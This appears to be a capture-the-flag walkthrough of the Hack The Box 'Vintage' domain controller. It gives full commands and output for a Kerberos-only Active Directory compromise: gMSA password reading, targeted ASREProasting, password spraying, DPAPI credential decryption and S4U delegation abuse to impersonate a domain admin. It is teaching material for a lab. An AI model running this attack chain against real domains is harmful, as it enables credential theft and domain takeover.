# Vintage

## SUMMARY

This is a Windows Server 2022 machine with NTLM authentication disabled, meaning it only accepts Kerberos authentication. We start enumerating with BloodHound CE with provided user credentials and discover a pre-Windows 2000 machine that, once exploited, allows reading password of a gMSA account. Taking control of the GMSA account we enable another revoked service account that we can abuse with a targeted ASREProasting to obtain its password. Once sprayed, this password leads to another user credential with remote management permission. Finally, we are able to configure Evil-WinRM for Kerberos authentication and collect the user flag.

Regarding escalation, first we disclose DPAPI secrets with Impacket's `dpapi.py`. The compromised account has permissions for a delegation attack, so we request an ST ticket impersonating an user member of domain administrators group.

## KEYWORDS

NTLMSSP, pre-Windows 2000, gMSA password, bloodyAD, targeted ASREProasting, Kerbrute, DPAPI, Impacket, dpapi.py, delegation attack, S4U2self/S4U2proxy abuse.

## REFERENCES

<https://metacpan.org/pod/SMB::Auth>

<https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts>

<https://x.com/filip_dragovic/status/1524730451826511872>

<https://github.com/micahvandeusen/gMSADumper>

<https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword>

<https://github.com/ropnop/kerbrute>

<https://gist.github.com/zhsh9/f1ba951ec1eb3de401707bbbec407b98>

<https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets>

<https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html>

<https://github.com/gentilkiwi/mimikatz/wiki/module-~-dpapi>

<https://www.thehacker.recipes/ad/movement/kerberos/delegations/>

<https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse>

## ENUMERATION

Port scan.

{% code overflow="wrap" %}

```bash
> for ports in $(nmap $target -p- --min-rate=5000 -Pn --open --reason | grep open | awk -F "/" '{print $1}' | tr '\n' ',' | sed s/,$//); do nmap $target -p$ports -sV -sC -Pn -vv -n && echo "\nList of open ports: $ports";done

Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-28 20:43 GMT
Nmap scan report for 10.10.11.45
Host is up, received user-set (0.041s latency).
Scanned at 2025-01-28 20:43:11 GMT for 96s

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-01-28 20:44:12Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
52285/tcp open  msrpc         syn-ack Microsoft Windows RPC
52290/tcp open  msrpc         syn-ack Microsoft Windows RPC
52311/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-01-28T20:45:03
|_  start_date: N/A
|_clock-skew: 55s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 18401/tcp): CLEAN (Timeout)
|   Check 2 (port 53397/tcp): CLEAN (Timeout)
|   Check 3 (port 54577/udp): CLEAN (Timeout)
|   Check 4 (port 61163/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Nmap done: 1 IP address (1 host up) scanned in 96.67 seconds

List of open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,52285,52290,52311

```

{% endcode %}

Looks like a domain controller.

We have credentials for `P.Rosa:Rosaisbest123`, so let's enumerate the SMB service.

```bash
> smbclient -L \\\\vintage.htb -U "P.Rosa"
Password for [WORKGROUP\P.Rosa]:
session setup failed: NT_STATUS_NOT_SUPPORTED
```

Odd, let's try with `smbmap`

```bash
> smbclient -L \\\\vintage.htb -U "vintage/P.Rosa%Rosaisbest123"
session setup failed: NT_STATUS_NOT_SUPPORTED
```

Weird, check with Wireshark what is going on.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FpmCr0BIhsQh8BUGy4mTO%2FUntitled.png?alt=media&#x26;token=409e839b-b657-4bd8-831c-7ade82b0ef71" alt=""><figcaption></figcaption></figure>

After some investigation on the reported error after the `NTLMSSP_NEGOTIATE` message, it seems [NTLMSSP](https://metacpan.org/pod/SMB::Auth) (NTLM-based authentication) is disabled in the server. Meaning we will have to use Kerberos authentication throughout the entire process.

Having user credentials next step would be to brute force the RID to get more usernames. However, this does not work since NTLM is disabled in the host, and the `crackmapexec` fails also to negotiate NTLMSSP authentication.

```bash
> crackmapexec smb vintage.htb -u P.Rosa -p Rosaisbest123 --rid-brute
SMB         10.10.11.45     445    NONE             [*]  x64 (name:) (domain:) (signing:True) (SMBv1:False)
SMB         10.10.11.45     445    NONE             [-] \P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
```

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FFHep6hPpOu1DMRgwuCnG%2FUntitled2.png?alt=media&#x26;token=604bf9ed-0499-4f26-8ad9-a5d52685ed07" alt=""><figcaption></figcaption></figure>

At this point we could try to use Kerberos authentication with `crackmapexec`; however, we will proceed to continue enumerating with `ldapsearch`

This tool works since it uses simple authentication. You can verify this by dumping the entire directory and analyzing the traffic with Wireshark.

{% code overflow="wrap" %}

```bash
> ldapsearch -x -H ldap://vintage.htb -D "vintage\P.Rosa" -w Rosaisbest123 -b "dc=vintage,dc=htb"
```

{% endcode %}

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2F0qMfBHfm2ok7Dm1pdsrw%2FUntitled3.png?alt=media&#x26;token=d4f9eeb7-ff22-40e2-b677-fc05e40838da" alt=""><figcaption></figcaption></figure>

Once we have understood what is happening with the server authentication configuration, let's continue enumeration with `ldapsearch`&#x20;

First we take the `sAMAccountName` of objects with `objectclass=users`. In other words, we enumerate the usernames.

{% code overflow="wrap" %}

```bash
> ldapsearch -x -H ldap://vintage.htb -D "vintage\P.Rosa" -w Rosaisbest123 -b "dc=vintage,dc=htb" "(objectclass=user)" sAMAccountName
```

{% endcode %}

We see several usernames along with domain controller `DC01`, a managed service account `gMSA01$` and a computer account `fs01$`

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FDuCZtAdJtn3tWzt1bgCc%2FUntitled4.png?alt=media&#x26;token=405a9dfb-4f4c-4df3-bbfe-8e1ac2b7afe0" alt=""><figcaption></figcaption></figure>

We take the opportunity to dump a list of users using this query.

{% code overflow="wrap" %}

```bash
> ldapsearch -x -H ldap://vintage.htb -D "vintage\P.Rosa" -w Rosaisbest123 -b "dc=vintage,dc=htb" "(objectclass=user)" sAMAccountName | grep sAMAccountName | awk -F ":" '{print $2}' | sed 's/ //'
sAMAccountName
Administrator
Guest
DC01$
krbtgt
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm
```

{% endcode %}

And with this user list we can verify if there are users with Kerberos pre-authentication disabled (ASREProasting).

{% code overflow="wrap" %}

```bash
> python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py vintage.htb/ -usersfile ./userlist -dc-ip 10.10.11.45
```

{% endcode %}

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FRUNRBtvPjxyknqozqrl9%2FUntitled41.png?alt=media&#x26;token=ea49d069-2c68-49a6-9f1f-d0c7998151b6" alt=""><figcaption></figcaption></figure>

There are no accounts with pre-authentication disabled; on the other hand, we discover three revoked accounts, one of them is the service account `svc_sql`

Next step would be to collect data and continue enumerating with BloodHound CE. There is no problem with that, since the `bloodhound-ce-python` tool supports Kerberos authentication.

{% code overflow="wrap" %}

```bash
> python3 /home/kali/.local/bin/bloodhound-ce-python -u P.Rosa -p 'Rosaisbest123' -c All -d vintage.htb -ns 10.10.11.45
```

{% endcode %}

In fact, in the output we see the first action is to request a TGT ticket.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FllnfvvIC1YFN7ibhxduH%2FUntitled5.png?alt=media&#x26;token=66bdec44-6e02-4cdb-8937-5c2c79c9ed06" alt=""><figcaption></figcaption></figure>

Ingest the data in BloodHound CE and start enumerating. First thing we notice is `fs01$` is a rather old (vintage) pre-Windows 2000 machine.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2F1rLhYu6j5dWNtZqTpujy%2FUntitled6.png?alt=media&#x26;token=0c1c77c8-6af5-4119-920a-378e520cc533" alt=""><figcaption></figcaption></figure>

Also, it can read group managed service account passwords.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FvnaGNbz0vIAlnHX2hBCp%2FUntitled7.png?alt=media&#x26;token=9304ff48-7c0f-4156-b160-4c4b47b12ce1" alt=""><figcaption></figcaption></figure>

## USER

Since `fs01$` can read `gMSA01$` password, our first step would be to find a way to compromise old pre-Windows 2000 computers. And it seems there is a there is a high probability that [the computer account password is actually the same as the computer name](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts) in these machines.

The [attack path](https://x.com/filip_dragovic/status/1524730451826511872) would be to get a TGT ticket for the pre-Windows 2000 account, using the computer name as password. Then use the tool suggested by BloodHound CE ([gMSADumper.py](https://github.com/micahvandeusen/gMSADumper)) to dump `gMSA01$` password.

Begin requesting a TGT for `fs01$`

{% code overflow="wrap" %}

```bash
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/fs01$:fs01
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in fs01$.ccache
 
> export KRB5CCNAME=fs01$.ccache
```

{% endcode %}

Now, next step would be to use `gMSADumper.py` to dump the password; however, it does not work due to DNS issues.

Luckily, it seems [bloodyAD also reads gMSA passwords](https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword).

{% code overflow="wrap" %}

```bash
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 get object GMSA01\$ --attr msDS-ManagedPassword
```

{% endcode %}

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FtyV7uMMRqn5Doy2btsyD%2FUntitled8.png?alt=media&#x26;token=9a520864-dc44-4b75-9206-fc80901ff22b" alt=""><figcaption></figcaption></figure>

Back to BloodHound CE, mark `gmsa01$` as "Owned" and enumerate from there.

We see `gmsa01$` has permissions to add itself into *serviceManagers* group.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FqWki4F3uS6jzzumqcDkc%2FUntitled9.png?alt=media&#x26;token=7ae56b8b-93a3-4d5e-8423-d827bbc3cac1" alt=""><figcaption></figcaption></figure>

And *serviceManagers* have *GenericAll* over the three service accounts we discovered before, including the revoked one.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FZZxtdlwB9R03Hmrke6rh%2FUntitled10.png?alt=media&#x26;token=84eb8991-3cd5-4e8b-9c1f-5cca3fb72b6c" alt=""><figcaption></figcaption></figure>

So if we added `gmsa01$` into *serviceManagers* we could reactivate the service account `svc_sql`

Let's add `gmsa01$` to *serviceManagers*. First step would be to generate a TGT.

{% code overflow="wrap" %}

```bash
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/gmsa01$ -hashes aad3b435b51404eeaad3b435b51404ee:cfa9f6edd15de88ae7a9652114e3f4a7
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in gmsa01$.ccache
 
export KRB5CCNAME=gmsa01\$.ccache
```

{% endcode %}

Now add the account with bloodyAD using its own TGT.

{% code overflow="wrap" %}

```bash
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 add groupMember SERVICEMANAGERS GMSA01\$
```

{% endcode %}

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2F6rcvYRGdMpqF6FBaA8Oz%2FUntitled.png?alt=media&#x26;token=63dc3795-1762-4955-971a-d1f2d1e65aaa" alt=""><figcaption></figcaption></figure>

Now, if `gmsa01$` has inherited group's permissions, it has *GenericAll* over the `svc_sql` account and we can reactivate the account.

If we remember, since `svc_sql` was revoked and we couldn't verify if it has Kerberos pre-authentication disabled. Now, after activating it, we can try a targeted ASREProasting attack, which is similar to a targeted kerberoasting attack (as we did in [administrator](https://allthewriteups.gitbook.io/book/hack-the-box/release-arena/administrator "mention")).

In a nutshell, in a targeted ASREProasting attack we set the attribute DONT\_ REQ\_PREAUTH, since we have *GenericAll* over the user account, then dump the hash and try to crack it offline.

First step would be to reactivate the account, using the same `gmsa01$` ticket we have in cache (verify if it has not expired, and renew it if that's the case).

{% code overflow="wrap" %}

```bash
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 remove uac SVC_SQL -f ACCOUNTDISABLE
```

{% endcode %}

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FryGgR6oq5R2n3PoRvcpS%2FUntitled12.png?alt=media&#x26;token=f87f17c7-6002-433a-96c3-0526f7609e4a" alt=""><figcaption></figcaption></figure>

Now we can set the DONT\_REQ\_PREAUTH attribute so it is asreproastable.

{% code overflow="wrap" %}

```bash
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 add uac SVC_SQL -f DONT_REQ_PREAUTH
```

{% endcode %}

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2F3QgnuhIH2gItfeoMilEd%2FUntitled13.png?alt=media&#x26;token=2de12cc4-ad99-4148-9033-d82c861b714e" alt=""><figcaption></figcaption></figure>

Repeat the ASREProasting and dump the hash.

{% code overflow="wrap" %}

```bash
> python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -k vintage.htb/ -usersfile ./userlist -dc-ip 10.10.11.45
```

{% endcode %}

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FmUUlIaERvWo41cmVTZ96%2FUntitled14.png?alt=media&#x26;token=a517b7d0-71f9-4563-8778-4ab7730121f8" alt=""><figcaption></figcaption></figure>

Which can be cracked with module 18200.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FXRrnDn8H1n12pUdAY3Zh%2FUntitled15.png?alt=media&#x26;token=f8c5d22b-6db8-4a90-8264-69038353c1bc" alt=""><figcaption></figcaption></figure>

Now spray the password with a tool that supports Kerberos authentication, for example [Kerbrute](https://github.com/ropnop/kerbrute).

{% code overflow="wrap" %}

```bash
> /opt/kerbrute/kerbrute passwordspray -d vintage.htb --dc 10.10.11.45 ./userlist Zer0the0ne
```

{% endcode %}

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FSpsdOyVR3bJBMXWj2gc7%2FUntitled16.png?alt=media&#x26;token=78ca2698-1ff7-459d-b01e-e7bf26439c28" alt=""><figcaption></figcaption></figure>

You can verify in BloodHound CE the compromised account has remote management permissions, therefore we can have an Evil-WinRM session under its context. We just need to find a way to use Evil-WinRM with Kerberos authentication.

Normally, according to documentation, Kerberos authentication is supported with `-r` flag, but first you have to configure the KDC realm in the `/etc/krb5.conf` file.

I used [this tool](https://gist.github.com/zhsh9/f1ba951ec1eb3de401707bbbec407b98) as support, but needed to make some modifications to the file supplied by the tool. The final configuration file is this.

```
> cat /etc/krb5.conf
[libdefaults]
    default_realm = VINTAGE.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true
 
[realms]
    VINTAGE.HTB = {
        kdc = dc01.vintage.htb
        admin_server = dc01.vintage.htb
        default_domain = vintage.htb
    }
 
[domain_realm]
    vintage.htb = VINTAGE.HTB
    .vintage.htb = VINTAGE.HTB
```

Also, it may be necessary to add the IP 10.10.11.45 in the `/etc/resolv.conf` file (comment the existing lines).

```
> cat /etc/resolv.conf
nameserver 10.10.11.45
```

Now you can open an Evil-WinRM shell using Kerberos authentication.

{% code overflow="wrap" %}

```bash
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/c.neri:Zer0the0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in c.neri.ccache
                                                                                                                                                 
 > export KRB5CCNAME=c.neri.ccache              
                                                                                                                                                 
 > evil-winrm -i dc01.vintage.htb -r vintage.htb

```

{% endcode %}

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FdVKbvkc46jbjhVRBENd8%2FUntitled17.png?alt=media&#x26;token=ff360126-05a9-49c1-87cd-35866054310d" alt=""><figcaption></figcaption></figure>

And collect the user flag.

## SYSTEM

Start from the shell as `c.neri` and take the opportunity to enumerate the system.

```powershell
Get-ComputerInfo
 
 
WindowsBuildLabEx                                       : 20348.1.amd64fre.fe_release.210507-1500
WindowsCurrentVersion                                   : 6.3
WindowsEditionId                                        : ServerStandard
WindowsInstallationType                                 : Server
WindowsInstallDateFromRegistry                          : 5/24/2024 12:00:02 PM
WindowsProductId                                        : 00454-20165-01481-AA334
WindowsProductName                                      : Windows Server 2022 Standard
WindowsRegisteredOrganization                           :
WindowsRegisteredOwner                                  : Windows User
WindowsSystemRoot                                       : C:\Windows
WindowsVersion                                          : 2009
OSDisplayVersion                                        : 21H2
```

We have already seen how to harvest [DPAPI-protected secrets](https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets) in [week-7.-office](https://allthewriteups.gitbook.io/book/hack-the-box/seasonal/season-4/week-7.-office "mention"). Basically, DPAPI is a Windows API used by applications that want to protect and store secrets such as passwords, tokens, etc. Encrypted data is stored in data blobs[ in the user's directory](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) that have been secured by user-specific master keys.

Blobs are usually be found here.

```powershell
c:\users\<username>\appdata\local\microsoft\credentials\
c:\users\<username>\appdata\roaming\microsoft\credentials\
```

Master keys are derived from user's password and usually located here:

```powershell
c:\users\<username>\appdata\roaming\microsoft\protect\<user sid>
c:\users\<username>\appdata\local\microsoft\protect\<user sid>
```

In this case we find blob files here.

```powershell
> dir -h c:\users\c.neri\appdata\local\microsoft\credentials
 
 
    Directory: C:\users\c.neri\appdata\local\microsoft\credentials
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   1:17 PM          11020 DFBE70A7E5CC19A398EBF1B96859CE5D
```

And here.

```powershell
> dir -h c:\users\c.neri\appdata\roaming\microsoft\credentials
 
 
    Directory: C:\users\c.neri\appdata\roaming\microsoft\credentials
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   5:08 PM            430 C4BB96844A5C9DD45D5B6A9859252BA6
```

And regarding the master keys, they are stored in a folder named after the user's SID.

```powershell
> dir c:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\
 
 
    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-          6/7/2024   1:17 PM                S-1-5-21-4024337825-2033394866-2055507597-1115
```

And inside we find the master keys.

```powershell
> dir -h c:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-111
5
 
 
    Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
 
 
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   1:17 PM            740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs-          6/7/2024   1:17 PM            740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs-          6/7/2024   1:17 PM            904 BK-VINTAGE
-a-hs-          6/7/2024   1:17 PM             24 Preferred
```

In [week-7.-office](https://allthewriteups.gitbook.io/book/hack-the-box/seasonal/season-4/week-7.-office "mention")we [decrypted the blobs with mimikatz](https://github.com/gentilkiwi/mimikatz/wiki/module-~-dpapi). In this case, the host is running a defender solution that blocks Mimkatz, so we will use Impacket's `dpapi.py` with files transferred to Kali machine.

First thing would be to obtain the key from the master key file with user's password, SID and blob files.

{% code overflow="wrap" %}

```
> python3 /usr/share/doc/python3-impacket/examples/dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0The0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
 
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
```

{% endcode %}

And with the decrypted key, obtain the secret from the blob.

{% code overflow="wrap" %}

```bash
> python3 /usr/share/doc/python3-impacket/examples/dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description :
Unknown     :
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312
```

{% endcode %}

Which results to be credentials for another user `c.neri_adm`

To summarize this part: someone has protected `c.neri_adm` credentials using Windows cryptographic API (DPAPI). The secret is stored a data blob file protected with a master key, that is derived from user `c.neri` password and SID. Both blob and master keys files are stored in `c.neri` user folder.

Back to BloodHound CE, mark `c.neri_adm` as "Owned" and enumerate from there. First thing we notice is the user belongs to *delegatedAdmins* group.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2F8XBY4FN9QB93JjDtROVT%2FUntitled18.png?alt=media&#x26;token=3a1ff46c-764a-4dc0-af90-de6f08c56eb8" alt=""><figcaption></figcaption></figure>

And if we enumerate the *delegatedAdmins* group we see a possible path to domains administrators via `l.bianchi_adm` account, since `l.bianchi_adm` is also a delegated admin, and in turn a domain administrator.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FvbBsrMtrKZQdK7G5bPoM%2FUntitled19.png?alt=media&#x26;token=f4935d45-d70b-451b-83b6-34af1ffe07c8" alt=""><figcaption></figcaption></figure>

This suggests a delegation abuse attack. Kerberos delegations [allow services to access other services on behalf of domain users](https://www.thehacker.recipes/ad/movement/kerberos/delegations/). And Service for User to Self ([S4U2self](https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse)) allows a service to obtain an ST on behalf of another user to itself.

In this case, if we had a service account belonging to *delegatedAdmins* group, we could request an ST impersonating `l.bianchi_adm` and gain root, since this account is member of *domainAdmins*.

We have control over `c.neri_adm` who is already member of the *delegatedAdmins*. So one option&#x20;

would be to convert `c.neri_adm` to a service account by adding a SPN attribute to the account.

{% code overflow="wrap" %}

```
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in c.neri_adm.ccache
 
> export KRB5CCNAME=c.neri_adm.ccache
 
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb --host dc01.vintage.htb --dc-ip 10.10.11.45 -u c.neri -p Zer0the0ne -k set object c.neri_adm servicePrincipalName -v 'cifs/dc01.htb'
```

{% endcode %}

However, this option doesn't work because it seems assigning an SPN to itself violates constraints defined by Active Directory.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FZ52PBshIJCAX7cCb6yLU%2FUntitled20.png?alt=media&#x26;token=489ffd9a-a42a-4d74-bc25-dbae8528343b" alt=""><figcaption></figcaption></figure>

Thinking about other ways, we could take the `svc_sql` account we reactivated before and add it to the *delegatedAdmins* group. We can do it since we control `c.neri_adm`

{% code overflow="wrap" %}

```bash
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in c.neri_adm.ccache
 
> export KRB5CCNAME=c.neri_adm.ccache
 
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb --host dc01.vintage.htb --dc-ip 10.10.11.45 -k add groupMember DELEGATEDADMINS "svc_sql"
```

{% endcode %}

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FvQsX3j66dX6BVkxQXK9u%2FUntitled21.png?alt=media&#x26;token=89f5272b-8e0c-4b62-94f2-7aae7f35822f" alt=""><figcaption></figcaption></figure>

And now try to change SPN for `svc_sql`

{% code overflow="wrap" %}

```bash
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb --host dc01.vintage.htb --dc-ip 10.10.11.45 -u c.neri -p Zer0the0ne -k set object svc_sql servicePrincipalName -v 'cifs/dc01.htb'
```

{% endcode %}

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FZU14lPrVoqsIUxMXHb3w%2FUntitled22.png?alt=media&#x26;token=da499450-3062-4d5e-b318-aa177a4abfbb" alt=""><figcaption></figcaption></figure>

It worked, now we have a service account in the *delegatedAdmins* group, meaning we can request an ST for CIFS (SMB) impersonating `l.bianchi_adm`

{% code overflow="wrap" %}

```bash
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in svc_sql.ccache
 
> export KRB5CCNAME=svc_sql.ccache
 
> python3 /usr/share/doc/python3-impacket/examples/getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'
```

{% endcode %}

